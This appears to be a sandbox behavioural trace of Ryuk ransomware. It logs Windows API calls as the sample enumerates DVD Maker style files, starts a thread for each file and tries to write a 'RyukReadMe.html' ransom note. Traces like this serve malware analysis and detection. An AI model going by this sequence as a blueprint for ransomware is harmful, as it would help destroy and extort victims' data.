	[0224.187] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0224.187] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0224.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0
	[0224.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.190] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0224.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0
	[0224.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.192] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0224.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0
	[0224.194] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.195] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0224.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec
	[0224.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.198] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0224.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc
	[0224.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0224.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0
	[0224.206] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1
	[0224.207] SetLastError (dwErrCode=0x0) 
	[0224.207] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.208] GetLastError () returned 0x5
	[0224.208] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0224.208] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0224.208] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0224.209] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x76, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1
	[0224.209] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8
	[0224.212] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.212] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1
	[0224.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc
	[0224.563] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.614] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00
	[0224.617] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.617] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0224.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04
	[0224.620] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.621] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08
	[0224.623] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.623] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0224.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c
	[0224.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.626] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10
	[0224.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.628] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0224.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14
	[0224.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.631] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18
	[0224.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.634] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0224.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c
	[0224.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.637] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20
	[0224.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.640] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1
	[0224.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24
	[0224.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.643] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x76, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0224.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28
	[0224.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.646] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x76, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1
	[0224.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c
	[0224.764] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.768] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1
	[0224.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0224.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.795] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1
	[0224.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0224.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.797] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1
	[0224.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0224.800] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
